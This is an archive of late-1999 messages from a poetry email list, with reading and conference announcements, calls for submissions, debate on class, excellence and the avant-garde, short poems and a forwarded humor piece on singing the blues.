To spell out this idea in more detail is for another day.

I would like to thank Rebecca for her response to my post "virtual democracy." Her eloquent self-definition through a series of negatives is exactly the kind of a poet’s class consciousness I am talking about:

"I cannot attend the poetry events announced here. My participation is currently limited to reading the list; I haven't posted to the list for a long time. Experience has made me reticent. I have not read and will not read many of the works under discussion here. I do not know even one member of the list. I am unknown; I do not publish. I am not affiliated with an educational institution or any group known to any member of this list."

Murat Nemet-Nejat

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433. **Alan Sondheim**

INCUBATION: FINAL CALL FOR PAPERS - Deadline 1 December 1999 (fwd)

Fri 26 Nov 1999

FINAL CALL FOR PAPERS
Deadline 1 December 1999

Incubation: A trAce International Conference about Writing and the Internet
10-12 July 2000
The Nottingham Trent University, Nottingham, UK
http://trace.ntu.ac.uk/incubation/

Keynote Speakers: Teri Hoskin, Geoff Ryman and Gregory Ulmer

The trAce Online Writing Community connects more than a thousand writers and readers in over 60 countries. Together we have built a vibrant and energetic online culture where text is always the focus. This conference offers the chance to meet in a physical space to talk about the nature of writing and reading on the internet today. We invite papers which debate, discuss or demonstrate any of the following:

TEXT : NARRATIVE : INVENTION
The web is home to a huge variety of narrative forms: fictions using a traditional narrative structure within the framework of hypertext; works operating across literary genres; ficto-criticisms which consider the medium directly; poetic writings that seek to dishevel the structure of language; pidgin languages and texts; the blurring of image/word/sound so that the very design itself becomes the writing; and the liberation from the alphabet.
But what does all this mean to the traditional print author or reader? And how do both the mode of distribution and the corporate-owned formats affect content and style? This theme examines the discovery and invention of new literary forms and theories, and the re-emergence, online, of textual experimentation predating the internet. It seeks to contextualise online literary production and features some of the breakthrough online projects that are helping to shape the early history of writing online. We invite authors, readers and critics to explore their engagement with the internet and to look at the ways in which text has evolved online.

TEXT : COMMUNITY : CREATIVITY
The internet has offered us the chance to connect with people around the world in ways we could never have imagined. What effect is this having on creativity and artistic collaboration, including the notion of lone author as individual genius? Society takes on a different complexity when the identities of its members may be multiple, collective, or fragmented. How do we build and

administer our online communities? And what happens when so many nationalities, cultures and languages intersect? This is a good moment to consider what it is to be human and how we are engaging with technology in ways we have never done before. The flux of the net challenges our assumptions about identity, self, nature, language, nation, time and space and disrupts the ways in which we construct meaning. How are writers responding to new experiences of online community, creativity, spirituality, and the body?

TEXT : PUBLISHING : OWNERSHIP
Publishers just don't seem to know what to do with hypertext. Contemporary notions of authorship and ownership are being reconfigured by the advent of new technologies like the Internet. How are both mainstream and radical publishing responding to notions of copyright, public domain, and copyleftism? And where do new forms of work fit in? Is the book really dead? Will networking and collaborative authoring transform the literary into something else? Is it true that online writing communities and web.narrative projects are being embraced by media and art institutions but ignored by print publishers? There are many burning practical questions to be addressed. Are online works Read-Only consumer products? How does the public own/appropriate an online work? How would you present a web narrative project without a computer? Which form would you use? And how would you sell your online work?

ABSTRACTS SHOULD BE 300 WORDS MAXIMUM
DEADLINE DECEMBER 1 1999

HOW TO SUBMIT YOUR PAPER
Papers may be submitted via a web form, found at
http://trace.ntu.ac.uk/incubation/

If you would like to be kept informed about the Incubation conference, please contact:
Rose Athow, NCL Admin Centre, The Nottingham Trent University, Burton Street, Nottingham NG1 4BU, UK
Tel + 44 (0) [redacted]
Fax + 44 (0) [redacted]
email: [redacted]

trAce Online Writing Community
Nottingham Trent University
Clifton Lane
Nottingham NG11 8NS
ENGLAND
Tel: +[redacted] (direct line)
Fax: +[redacted]
http://trace.ntu.ac.uk

[redacted]

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with 'unsubscribe' as the subject line.

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434. Louis Cabri

PhillyTalk #14

Fri 26 Nov 1999

PhillyTalks 14

> Dan Farrell / P. Inman
> THIS MONDAY, Nov. 29, 6pm
> Writers House, 3805 Locust Walk
Philadelphia (215) 573-WRIT
http://www.english.upenn.edu/~wh
http://www.english.upenn.edu/~wh/phillytalks

> *Dan Farrell is the author of *Last Instance* (Krupskaya, 1999), *(Untitled Epic Poem on the History of Industrialization by R. Buckminster Fuller, pp. 1-50) Grid* (Meow Press, 1999), *ape* and *Thimking of You*, both from Tsunami Editions. Forthcoming from Coach House Press is *The Inkblot Record*. Dan is a recent resident alien of Brooklyn NY, and works as a financial proofreader.*
>
> *P. Inman was born in 1947 & raised on Long Island. He graduated from Georgetown University a year after Bill Clinton. Since 1980 he has worked at the Library of Congress, where he has been active as a union rep & negotiator for Local 2910 of the American Federation of State, County and Municipal Employees. His most recent books are: *at. least* (krupskaya), *vel* (o books) & *criss cross* (roof). He's appeared in anthologies in three different languages.*

Their newsletter dialogue is now available. Please email me for copy.

Best,
Louis

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435. Randy Prunty
ARTEMESIA.....new mag call for submissions
Fri 26 Nov 1999

(i'm posting this for my daughter. send any queries or correspondence to her. thanks, randy prunty)

<<Artemesia - a bi-monthly publication of poetry, short stories, rant articles,
art, and book/music/movie reviews. First issue to be published February 2000.
Subscriptions are $6 for a year, single issues are $2.
I'm looking for writing and art that makes you think and feel and that's not afraid to add some beauty to the world.

Send subscriptions and submissions to

Jenna Prunty
1221 Sheppard Drive
Lilburn, Georgia 30047

Submissions can also be sent by e-mail to [redacted].
>>

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436. George Bowering
Re: re Bromige And the Provinces
Sat 27 Nov 1999

 Dont you know me better than that? My
>point was (I think) that not all regionalism is gonna be okay.
>
>David

Well, I dont know. I just reread Bromige's _My Poetry_ in the very regional South Okanagan Valley, and it was as sharp as always. Except for the piece about the gnu.

GB

George Bowering.

,

fax: [redacted]

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437. George Bowering
Re: re Bromige And the Provinces
Sat 27 Nov 1999

> *I guess, David, that I'm increasingly wary of hierarchies of "excellence."*
>
> *TomB.*

This could use some explanation. Does not excellence imply hierarchy?

George Bowering.

,

fax: [redacted]

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438. Alan Sondheim
(no subject)
Sun 28 Nov 1999

=

if truth were told it would insist on words
severed, severe, several, with such urgency,
nothing of remnants left to speak, bodies
supine, eyes sky-stared, several, severe,
severed, sky tethered, remnants tethered,
with such insistency, urgency, truth would
be severed, be severe, be several

=

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439. Katie Degentesh
9X9X9X9X9X9X9X9
Sun 28 Nov 1999

This Thursday, December 2, at Adobe Bookshop (3166 16th St. at Guerrero, SF)

at 8 PM

9x9 Industries presents

Poet and graphic artist John Jakubowski

http://www.wombatworld.com/skoan_fs.htm

and

Marya Hornbacher, poet, fiction writer, and author of _Wasted: A Memoir of Anorexia and Bulimia_

http://www.randomhouse.com/boldtype/0398/hornbacher/excerpt.html

This reading is free!

and will be emceed by 9x9's own Jan Richman

be there for the last 9x9 reading in 199x9

1999 (NINETEEN NINETY (NINE BY NINE) INDUSTRIES) 199X9

9X9 INDUSTRIES http://www.paraffin.org/nine/

[redacted]

GIVE US YOUR TIRED, YOUR POOR, YOUR THURSDAY ASSES
YEARNING TO SEE PERFORMANCES FOR FREE

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440. David Buuck
Gladman, Lu reading in SF 12/2
Sun 28 Nov 1999

Bay Area Now LIVE is a series of Thursday evening events occurring throughout the Bay Area Now 2 exhibition and festival. Bay Area Now LIVE will include readings, discussions, tours and performances featuring local celebrities and artists.

All events begin at 6pm and end by 8pm and are FREE with gallery admission.

Thursday, December 2

Rene Gladman & Pamela Lu
[Seven01 Café 6pm]

This kick-off event, features readings and discussion by two women artistsfrom the Bay Area lit scene. Renee Gladman edits Clamour, a magazine of innovative writing, andLeroy, a chapbook series. Most recently, her work has appeared in Gare du Nord, An Anthology of New (American) Poets (Talisman House) and Tinfish #7. Pamela Lu is co-editor of Idiom (www.idiomart.com), an online journal and chapbook press. Her first book of fanciful non- fiction, Pamela: A Novel (Atelos Press) was published this year.

Yerba Buena Center for the Arts
701 Mission Street (at 3rd)
San Francisco

[redacted]

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441. Kathy Lou Schultz
HOW2 event in San Francisco
Sun 28 Nov 1999

HOW2
celebrates its arrival online

Sunday, December 5, 3 p.m.
San Francisco Art Institute
800 Chestnut at Leavenworth

Forum on "Class & Innovative Writing" panel discussion
Dodie Bellamy, Robert Gluck, Camille Roy, Kathy Lou Schultz, Robin Tremblay-McGaw

Readings from HOW2, Issues 1 & 2 Simone Fattal for Etel Adnan, Sarah Anne Cox, Norma Cole, Beverly Dahlen, Kathleen Fraser for Frances Jaffer, Susan Gevirtz, Dale Going, Fanny Howe, Myung Mi Kim, Carol Snow, Elizabeth Treadwell, Jo An Wasserman, and Elizabeth Willis

Donations welcome

HOW2
http://www.departments.bucknell.edu/stadler_center/how2

Editor: Kathleen Fraser
Managing Editor: Jo Ann Wasserman
^^^

Featured Readers:
Margaret Holley
directs the Creative Writing Program at Bryn Mawr College, and in spite of that, to her amazement, has managed to write several books worth of poems.

Patrick Kelly
is America's best-loved poet, considered the greatest writer of the century.

Jeff Loo
teaches Creative Writing at Community College of Philadelphia and has published in such journals and collections as Many Mountains Moving, Southern Poetry
Review, CrossConnect, And What Rough Beast: Poems for the End of the Century .

Plus Open Poetry and Performance Showcase $1 admission. Along with a live poetry reading and performance , we invite you to join in our website poetry reading presentation. All poets and performers may have a poem or a lyric featured in theNOTcoffeeHouse website. Send your work for inclusion in the ongoing internet presentation. Tell your friends all over the world to check our site! Poets and performers may submit works for direct posting on the website via email to the [redacted] or works may be emailed to Richard Frey at [redacted] or USPS or hand-delivered through slot at 500 South 25th Street, Philadelphia, PA 19146. More information: Church office, [redacted], Jeff Loo, [redacted] or Richard Frey, [redacted]. Visit our website at www.notcoffeehouse.org

poets & performers previously appearing at NOTcoffeeHouse: Nathalie Anderson, Lisa Coffman, Barbara Cole, Barb Daniels, Linh Dinh, Lori-Nan Engler, Simone Zelitch, Dan Evans, Brenda McMillan, Kerry Sherin, John Kelly Green, Emiliano Martin, Jose Gamalinda, Toshi Makihara, Thom Nickels, Joanne Leva, Darcy Cummings, David Moolten, Kristen Gallagher, Shulamith Wachter Caine, Maralyn Lois Polak, Marcus Cafagna, Ethel Rackin, Lauren Crist, Beth Phillips Brown, Joseph Sorrentino, Frank X, Richard Kikionyogo, Elliott Levin, Leonard Gontarek, Lamont Steptoe, Bernard Stehle, Sharon Rhinesmith, Alexandra Grilikhes, C. A. Conrad, Nate Chinen, Jim Cory, Tom Grant, Gregg Biglieri, Stephanie Jane Parrino, Jeff Loo, Theodore A. Harris, Mike Magee, Wil Perkins, Deborah Burnham, UNSOUND, Danny Romero, Don Riggs, Shawn Walker, She-Haw, Scott Kramer, Judith Tomkins, 6 of the Unbearables - Alfred Vitale Ron Kolm, Jim Feast, Mike Carter, Sharon Mesmer, Carol Wierzbicki-,John Phillips, Quinn Eli, Molly Russakoff, Peggy Carrigan, Kelly McQuain, Patrick Kelly, Mark Sarro, Rocco Renzetti, Voices of a Different Dream - Annie Geheb, Ellen Ford Mason, Susan Windle - Bob Perelman, Jena

Osman, Robyn Edelstein,Brian Patrick Heston, Francis Peter Hagen, Shankar Vedantam, Yolanda Wisher, Lynn Levin

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443. Jerrold Shiroma
New @ Duration Press
Mon 29 Nov 1999

Duration Press is extremely excited to announce that Burning Deck Press is now online. Featuring a full catalog, with book information & reviews, cover images, & individual title listings for the serie d'ecriture & dichten= series, the address for the site is:

http://www.durationpress.com/burningdeck/index.html

We would like to encourage all with web sites to add a link to this page. As all should know, for over 30 years, Burning Deck has been central to promoting & publishing innovative American poetry.

Also, new to our out of print archive is _It's Alive She Said_, by Cole Swensen.

http://www.durationpress.com/archives/cswensen/itsalive/toc.html

A few documents from our Alcheringa archive are also available at:

http://www.durationpress.com/archives/ethnopoetics/alcheringa/index.ht ml

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444. R I Caddel
New BUNTING book... (fwd)
Mon 29 Nov 1999

Date: Mon, 29 Nov 1999 14:32:42 -0000
From: "Makin, John" <[redacted]>
Subject: New BUNTING book...

New publication... Available from AMAZON and elsewhere soon...

BASIL BUNTING ON POETRY, Edited by Professor Peter Makin, Kansai University, Japan.=20

Hardcover, 304 pages, February 2000, from Johns Hopkins University Press, ISBN [redacted]. Price GBP sterling: =A332.50. US dollar price not known.

Cheers John Makin, Nottingham Trent University, UK.

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445. **Poetics List**
avant garde / mckenzie
Mon 29 Nov 1999

This message came to the administrative account. Chris

Date: Fri, Nov 26, 1999 5:20 PM +0000
From: geraldine mckenzie <[redacted]>
Subject: avant garde

It is misleading to refer to the avant garde solely in terms of novelty. This establishes an association with art as commodity which is generally repudiated by those artists who might be described as avant garde. Novelty is a creature of time and unreliable, a bye product of experiment rather than an end. I've occasionally read critics who refer, with a discreet jubilance, to early instances of various poetics, Concrete poetry is anexample, as though the prior existence of concrete texts invalidates the experimental qualities, the 'newness' of 20th Century engagements. What is more significant is the 'revolutionary' or oppositional nature of a text. It's not a poetic example but I can't help thinking of the teachings of Christ. (Is it relevant to say I am not a Christian and don't believe in God or gods?). These are ideas which are not new but are frequently revolutionary - think of Dostoievsky's Grand Inquisitor or, more recently, the film, Jesus of Montreal - there are some philosophies, aesthetics, ethical beliefs, which will always challenge hierarchical structures. Of course, the responses of orthodoxy will vary. I think Marcuse's theory of repressive tolerance (this may be out of date, I never hear references to it anymore but, when I encountered it years ago, it seemed a very persuasive idea) is relevant here - protest can be turned into a commodity and look how successfully this was done to the protest movements of the '60's. The majority of most Westerners, especially those under 40 (here comes a generalization) associate that period with sex and drugs and rock 'n roll, then there's the line (which annoys the hell out of me) - If you can remember the '60's, you weren't there. I think we all here know that's bullshit, but that's the official version, the received idea. And what did happen to the revolution? Well, civil rights/ feminism/the anti-war lobby/the environmentalists have all made some progress but the structures persist, the marketplace rules, input into the big decisions (was it ever a possibility? probably not) is traded off for the illusory comforts of 'personal freedom' - 'choice a banality in the supermarket'. Meanwhile, in the marketplace, the 'novelty' of the avant garde signals just another item for sale -or so some would like to think. If the experimental only referred to technique, this might be so, but when it refers to ideas or modes of thought, then it can constitute a challenge to what Bernstein accurately terms'official verse culture' and which, despite various 'local' successes by experimental poets, is still very much in place. I doubt the avant garde (only refering to poetry, I shan't buy into all

those other ball games) can have any political impact in the narrow sense of the word, but it does maintain an area of opposition and creation, a sense of possibility and risk absent from conventional poetries. To say it does not, and can not, exist is either wishful thinking or a form of cultural despair, a loss of faith not only in poetry, but also language, and thus - us. (This is where I have to shut up or I'll get really carried away -

Regards, Geraldine McKenzie

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446. Poetics List

Monday's poetry reading / Fouhy

Mon 29 Nov 1999

This message came to the administrative account. Chris

Date: Sat, Nov 27, 1999 11:55 PM -0500
From: George Fouhy <[redacted]>
Subject: Monday's poetry reading

Monday's poet....visit site for bio and poem.

http://www.bestweb.net/~cindyf/poetry_2000.htm

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447. Brent Long

Please help

Mon 29 Nov 1999

Hello, all...

Anyone here know of a good contemporary poetics list to which I could subscribe? Please e-mail me with any suggestions.

Thanks in advance,

Brent

Brent A. Long
Corporate Account Representative
[redacted]
[redacted] (fax)
[redacted]

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448. Poetry Project
this week at the Poetry Project
Mon 29 Nov 1999

And here we are, back from our Thanksgiving "vacations." While extended conversation with extended family members does indeed burn a few calories, we're definitely ready to burn off the several hundred more we ingested with the exciting readings happening here this week,

including tonight, Monday, Nov. 29th at 8 pm

Douglas Goetsch & Jacqueline Waters

Goetsch's first full-length collection, Nobody's Hell, was published this year by Hanging Loose Press (copies will be available at the reading). Waters, an intrepid workshop student at the Project, has had work published or forthcoming in the Brooklyn Review, Poetry New York, and The Germ.

Wednesday, Dec. 1 at 8 pm

Michael Gottlieb & Jen Robinson

Gottlieb's most recent books are Gorgeous Plunge (Roof Books) and More Than All, a collaboration with Ted Greenwald. Robinson is the curator of the Poet's Web at the Internet Cafe in NYC and the author of For Conifer Fanatics.

and

Friday, Dec. 3rd at 10:30 pm

Lydia Lunch & Nicole Blackman

Lydia Lunch began her career at age 16 as a guitarist and singer for the "no-wave" band Teenage Jesus and the Jerks. Since then, her many projects have included starring in films by underground director Richard Kern; musical collaborations with Nick Cave, the Birthday Party, Kim Gordon, Thurston Moore and many others; and the formation of her own production company, Widowspeak Productions. This is a rare chance to see this rebel multigenre artist read at the Poetry Project.

"High priestess of slam, industrial glitterbomb, word uberbabe" Nicole Blackman is reading to celebrate the publication of her first full-length collection of poetry, Blood Sugar (Incommunicado Press). Blackman is the vocalist on the Golden Palomino's album, Dead Inside, and was featured on the KMFDM album Xtort.

Tickets for this special reading are $12, $9 for students and seniors, and $8 for members. No advance tickets sales. Admission is door only. Call [redacted] for more information.

***

The Poetry Project is located in St. Mark's Church on the corner of 2nd Ave. and 10th St. in Manhattan. The Project is wheelchair accessible with assistance and advance notice. Regular events are $7; $4 for students and seniors.

***

If you would like to be removed from this e-mail list, please respond to this message with "remove me" in the subject line.

***

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449. **MAYHEW**
(no subject)
Mon 29 Nov 1999

Murat wrote:

" Jonathan appears to say that class essentially is equivalent to culture in the United States. This is so if class expresses itself in writing only in terms of the class origin of the writer? Then, it is true, as Jonathan notes, a contradiction develops when a person moves up the economic scale, which is quite possible in the States. But what about class, reflected in terms of who supports or pays for the written product? Then, Jonathans financial sacrifice as a graduate student is a temporary state, as an interns on the way to becoming a doctor."

Good point. I don't think class is only equivalent to level of culture, but it clearly is not equivalent to the amount of money one has at a given moment either. I see is more as an underlying ethos defining preferences in large number of areas, including aesthetic. And people in academia use class to mean class origin, otherwise it would not make sense to speak of class differences at all since we are all doing the same thing for a living.

Who supports and pays for poetry? Good question that I hope will provoke lively discussion...

Jonathan Mayhew
[redacted]

_____

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450. **david bromige**
re : hierarchies of "excellence"
Mon 29 Nov 1999

> *I guess, David, that I'm increasingly wary of hierarchies of "excellence."*
>
> *TomB.*
>
> *This could use some explanation. Does not excellence imply hierarchy?*
>
> *George Bowering.*
>
> ,

George,& other Listmates,

I take Tom's phrase "hierarchies of 'excellence'" to mean hierarchies based, as if they were objective, on inescapably subjective judgements as to what is excellent.

He is correct to be wary of the term 'excellence.' For e.g., when the Trustees want to purge a college of its troublesome professors, they hire a PreZ who will in the name of excellence roust these malcontents, many of whom are excellent teachers.

Or all of whom are excellent teachers, in this best of all possible worlds, Dr Pangloss. (Although, hmm, that was the name of the PreZ).

Still, while Ron "The Sheep are on Fire" Silliman appears to favor the inclusion of any blip on the screen in his fractal relief map of the poem**, and while I am one of RS's greatest fans, I dont think that a volume made up of sentences from _Ketjak_ printed each as a separate poem, and lineated rather randomly, would have held the interest of many of us. Truly, RS had an excellent idea. And argued cogently for its excellence, appealing across class-lines for its reception as such.

** [I am notorious for my reading-in, of course. Maybe Ron had no such intention in adopting my term of contempt as if it might be honorific, to him. What argues against this being his intention is his enjoyment of my parodic invention, Jay Gutz, whose loathsome effusions Mrs Gutz, Jay's mom, probably loved. But this is divisive, middle-class thinking on my part, which I learned at privileged institutions I was canny enough to talk my ways into. On acid, it was a whole new cosmos. I spent hours writing the Secret of the Universe on a chalkboard, but next day, all it said was "Evidence."]

Tom Beckett thought well enough of RS's work to devote an issue of his journal _The Difficulties_ to it. Those writing about it did not speak as a wo/man to the effectiveness in the factory and in the farm fields of these poems (though such an argument could certainly be made).

It is time, perhaps, that I, Serenus Zeitblom, introduced my class-y self. I was corrupted by literature at an early age by a father who had a Jones for Dickens. Subsequently entering my judgment as to who or what is stupid or excellent have been standards derived from my reading. Possibly I ought to regret the unjust advantages I, child of the working class, was to derive from the largely middle- and upper-class-scripted books I consumed before the advent of tv. I don't know, I guess I'll go ask Adrian Leverk¨uhn.

"The dreadful slowness of things," groaned Matthew Arnold.(Or was it "terrible"?) Here's a poem that falls into the category "The Sheep are on Fire" for the delectation of the roisterous democrat estheticians among you. (I personally am left of socialism. Perhaps I expect too much of my fellow-persons.) I shall post one of these a week until the last Regionalist Unhierarchic among ye, be sated and cry "Enough!"

Sheep Chat

This is me
shuffling my papers
looking for my latest
poem
called
"Reinventing the Wheel."

It should be
here
somewhere. Ah,

never mind. I think
I remember how
it went. Uh, goes:

"My lover
who left me
her Cat
Stevens
collection

took
my Allman Bros
albums. Life

sucks but
Shit happens.

I write as if
talking to
somebody in
a convention from
thirty years ago.

If only
all my poems
were this
good.

Jay.

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451. Steve Dickison

** *Oppen Lecture ** Clarification* **

Mon 29 Nov 1999

Contrary to the faulty listing in the Chronicle this past Sunday, the true location for Stephen Cope's George Oppen Memorial Lecture this Thursday Dec 2 will be, as announced, at the Unitarian Center & NOT at the Poetry Center.

Also, a couple people out there have expressed the desire to move themselves from a 6:00 reading by Renee Gladman & Pamela Lu at Center for the Arts on Mission Street up to Mr Cope's lecture on Franklin & Geary. There will be some air around the 7:30 starting time-- the latter event will likely start, as per poetry practice, at 7:47.....see you there if you can make it.

> *THE ANNUAL GEORGE OPPEN MEMORIAL LECTURE*
> *ON TWENTIETH CENTURY POETICS*
>
> *Presented by STEPHEN COPE*
>
> *Thursday December 2, 7:30 pm*
> *at The Unitarian Center, 1187 Franklin at Geary*
> *San Francisco*

==========
Steve Dickison, Director
The Poetry Center & American Poetry Archives ~ San Francisco State University
1600 Holloway Avenue ~ San Francisco CA 94132 ~ [redacted]
~ ~ ~

Lâ taltazim hâlatan, walâkin
durn bî-llayâly kamâ tadûwru

Don't cling to one state
turn with the Nights,
as they turn

~Maqâmat al-Hamadhâni (tenth century; tr Stefania Pandolfo)

~ ~ ~

Bring all the art and
science of the world, and
baffle and humble it with
one spear of grass.

~Walt Whitman's notebook

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452. **MAXINE CHERNOFF**
Two Readings
Mon 29 Nov 1999

Saturday, Dec 4, 4 pm, Double Happiness, Paul Hoover and Ann Lauterbach

Thursday, Dec 9, 5:30 pm, Columbia College, Chicago, Ferguson Auditorium: Paul Hoover and Susan Wheeler

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453. **Patrick F. Durgin**
Re: Recent David Lehman book
Mon 29 Nov 1999

You should really take this up with J. Rothenberg, Katy. "Generosity" is a fine way to think about what we do. And what's been done.

At 04:48 PM 11/24/1999 -0500, you wrote:
>It sometimes feels like exclusionary politics and/or poetics is considered
>avant-garde.
>
>Sometimes it feels like people think that to denounce something has to do
>with being avant-garde.
>
>I think that generosity is a very avant-garde thing and doesn't get enough
>credit.
>
>If Lehman really means this:

>
>>depart. While I find this to be a convincing argument, I would sooner
>>help to quicken a new avant-garde than pronounce the demise of an old
>>one."
>>
>
>then I like that.
>
>It's hard to be a poet.
>
>Katy
>
>

k e n n i n g
a newsletter of contemporary poetry, poetics, and nonfiction writing
http://www.avalon.net/~kenning
418 Brown St. #10, Iowa City, IA 52245, USA

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454. George Bowering
Re: government funding in the arts
Mon 29 Nov 1999

It doesnt say so anywhere, but I am guessing that the following is an enquiry regarding matters in the USA.

> *hello all--*
>
> *i'm trying to get a concrete sense of what is happening to government funding in the arts. that is to say, everyone speaks of the "trend" in arts, the cutbacks in the nea budget, etc.--but what are smaller, non-prof organizations feeling both by the nea and by state arts orgs in numbers? anybody out there head an arts org and have specific examples of slashes, i.e. how much of a decrease in funding they have received over the past 10 years or whatever?*
>
> *particularly, i'm interested in examples of organizations/people who have had some dealings with the california arts council--or other state arts councils whose behavior might be akin to the cac (maybe new york?)*
>
> *or, if you know something about the type of people who sit on the state/federal arts panels and where to get more info about this, please do tell.*
>
> *please backchannel with info, thanks.*

> *summi*

George Bowering.

,

fax: [redacted]

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455. **Alan Sondheim**
a message from the past (fwd)
Mon 29 Nov 1999

/

a message from the past: a message from the past:

P:: for this is the furthermost point of my advance, through and into your time, the time of this mailing, before i return to the tenth century. oh, it has always been assumed that time travel goes from present to past, present to future, and return again, but i am writing to inform you that there are those of us who prefer living in the past, and on occasion venturing to a future already past for those living in the present: this is the safest existence possible, and i am breaking our tradition by informing you, here, and now, of this exigency. for we live safely in a world still populated by numerous plants and animals you have driven to extinction, not to mention numerous ethnic groups which you have violated, eliminated, torn from their native lands, destroyed in every conceivable fashion. our world is still whole, and as long as we move back and forth within it, never venturing beyond, let us say, the date and time of this missive itself, we shall be ensured of permanent domicile, even with the threat of your nuclear war bringing everything to a halt. P:: in the meantime, what is it i wish to say to you? nothing, but a greeting; there is no way to respond, no place of residence within which you may find me. or rather, you might trace one or another life across cities, nations, continents; such a life may or may not cross my own, but at least, if you return to the tenth century, you will be far closer than you are at this very moment. perhaps if i told you my name? it would mean nothing to you of course, although you may call me saki. of course there are many such, and there is no guarantee that this word is properly transliterated, and among us, transliteration is all that exists. so you may think of me as this text, ignoring the consciousness from the past, roaming among lands and centuries, that has produced it. nonetheless, i do call the tenth century my home; i have so many friends there, and the comforting ring of familiarity continues eternally. P:: of course you may, there is always a kindness in that.

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456. **pete spence**
Re: class
Mon 29 Nov 1999

> *23-Nov-99 16:30 you wrote:*
> *Suddenly i remembered that I should know about working class a lot.*
> *I was thoroughly drilled in marxism and leninism all through many years of*
> *school and university back in the 70s in the Soviet Union. M.Z.*
>
> *i'd thought maybe doing a bit o' labour because it was your only option*
> *would be a better sampler than being drilled by theory//pete spence*
>
> *It was in good old Soviet times when the State paid for schooling. Now I*
> *have to do quite a bit of labour to support a family of five my husband*
> *being a poet. M.Z.*

seems to me that the last thing you should support is his being a poet tell him to go out to work what is this thing that poets somehow just buzz around spraying words everywhere and do little else//pete

---

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457. **pete spence**
Re: Class and Money
Mon 29 Nov 1999

> *The same day, Pete Spence responds to Maria Zavialov:*
> *"Suddenly I remembered that I should know about working class a lot.*
> *I was thoroughly drilled in marxism and leninism all through many years of*
> *school and university back in the 70s in the Soviet Union." M.Z.*
>
> *i'd thought maybe doing a bit o' labour because it was your only option*
> *would be a better sampler than being drilled by theory//pete spence"*
>
> *Does Pete have a special knowledge that Maria belongs to the idle*
> *reach?*

> *Or is it implicit in his comment that labor is only labor ("authentic") if it*
> *is working class? Is this an example of the "sentimental working-class poetics?"*
>
> *Murat Nemet-Nejat*

maybe maria could have worded it better ,still think i probably seen closer views of working class than a lot, my father a socialist was under the threat of the "crimes act' here for years and i remember him being interviewed on t.v. knowing he would probably be arrested when he left the studio could go on but!!! sentiment/sediment/saidund meant//pete spence

_____
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458. David Knoebel
Call for papers
Mon 29 Nov 1999

the ISAMA 2000 website under construction
http://www.cs.washington.edu/isama2000/

with the call for papers

The poetry call, more specifically, should read and eventually will read:

Poetry/Math/Hypertext

"Presentations of poetry based on mathematics are invited. Algorithmic poems, poems in the Oulipian line, poems engaging the content of mathematics, or any other work inspired by the literature/mathematics intersection. Presentations should be 20 minutes in length. Visualization (overheads, computer projections, videotapes, etc.) will be supported."

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459. hassen
Re: government funding in the arts
Mon 29 Nov 1999

perhaps others would also like to hear on/of this (following)? i know i would.

h

From: Summi Kaipa <[redacted]>
To: <[redacted]>

Sent: Wednesday, November 24, 1999 8:46 PM
Subject: government funding in the arts

hello all--

i'm trying to get a concrete sense of what is happening to government funding in the arts. that is to say, everyone speaks of the "trend" in arts, the cutbacks in the nea budget, etc.--but what are smaller, non-prof organizations feeling both by the nea and by state arts orgs in numbers? anybody out there head an arts org and have specific examples of slashes, i.e. how much of a decrease in funding they have received over the past 10 years or whatever?

particularly, i'm interested in examples of organizations/people who have had some dealings with the california arts council--or other state arts councils whose behavior might be akin to the cac (maybe new york?)

or, if you know something about the type of people who sit on the state/federal arts panels and where to get more info about this, please do tell.

please backchannel with info, thanks.

summi

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460. **Charles Bernstein**
NYC reading 12/1
Tue 30 Nov 1999

Charles Bernstein

at

The Poetry Forum

New School for Social Research

66 West 12th St (New York City)

Wednesday, December 1

6:30 pm in Room 510

_____
30 minute reading + 30 minute interview
_____

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461. Tom Beckett
Prolegomena to a Phenomenology of Self-Help
Tue 30 Nov 1999

1.

Call it

something, stupid

2.

Write on him

"You've got

a problem -- problems"

3.

A name

or thing

partially perceived

all tied up

in "nots"

4.

"Why can't I

buy a vowel?"

5.

Name of

the farter

shame of

the mover

↑ Index

462. Nielsen, Aldon
Fwd: Humor: Rules for Singin' the Blues
Tue 30 Nov 1999

---

from a neighboring list

> *forwarded message*
> |||O|||///\\\///\\\///\\\||||///\\\///\\\///\\\|||O|||

Rules for Singin' the Blues

1. Most blues begin "woke up this morning".

2. "I got a good woman" is a bad way to begin the blues, unless you stick something nasty in the next line. "I got a good woman - with the meanest dog in town".

3. Blues are simple. After you have the first line, repeat it. Then find something that rhymes - sort of: "Got a good woman with the meanest dog in town. He got teeth like Margaret Thatcher and he weigh 500 pound".

4. The blues are not about limitless choice.

5. Blues cars are Chevies and Cadillacs. Other acceptable blues transportation is a Greyhound bus or a southbound train. Walkin' plays a major part in the blues lifestyle. So does fixin' to die.

6. Teenagers can't sing the blues. Adults sing the blues. Blues adulthood means old enough to get the electric chair if you shoot a man in Memphis.

7. You can have the blues in New York City, but not in Brooklyn or Queens and DEFINITELY not in Staten Island.

7a. Hard times in Vermont or North Dakota are just a recession.

7b. Chicago, St Louis, and Kansas City are still the best places to have the blues.

8. The following colors do not belong in the blues:

a) Violet

b) Beige

c) Mauve

d) Puce

9. You can't have the blues in an office or a shopping mall. The lighting is wrong.

10. Good places for the blues:

a) The Highway

b) The Jailhouse

c) An Empty Bed

Bad places:

a) Ashrams

b) Gallery Openings

c) Weekends In The Hamptons

d) Wine-tastings in Napa

e) The Santa Fe Opera

f) Anywhere in Durango, Colorado

11. No one will believe it's the blues if you wear a suit, unless you happen to be an old black guy.

12. Do you have a right to sing the blues? Yes, if:

a) Your first name is a southern state - like Georgia

b) You're blind

c) You shot a man in Memphis

d) You are unable to be satisfied

No, if:

a) You were once blind but now can see.

b) You're deaf.

c) You have a trust fund or 401K.

13. Neither Julio Iglesias nor Barbra Streisand may sing the blues.

14. If you ask for water and your baby gives you gasoline, it's the blues.

Other blues beverages are:

a) Cheap Wine

b) Whiskey

c) Muddy Water

Blues beverages are NOT:

a) Any mixed drink

b) Any kosher wine for Passover

c) Yoo Hoo (all flavors)

d) Perrier

15. If it occurs in a cheap motel or a shotgun shack, it's blues death. Stabbed in the back by a jealous lover is a blues way to die. So is the electric chair, substance abuse, or being denied treatment in a hospital emergency room. It is not a blues death if you die during rhinoplasty, a liposuction treatment, or while receiving dental implants.

16. Some blues names for women:

a) Sadie

b) Big Mama

c) Bessie

17. Some blues names for men:

a) Joe

b) Willie

c) Little Willie

d) Lightning

Corollary

1) Anyone with the name of physical infirmity (Old Blind Joe, Gimpy Jackson etc)

2) Anyone with last name of a president (Jefferson, Johnson, Fillmore, etc.)

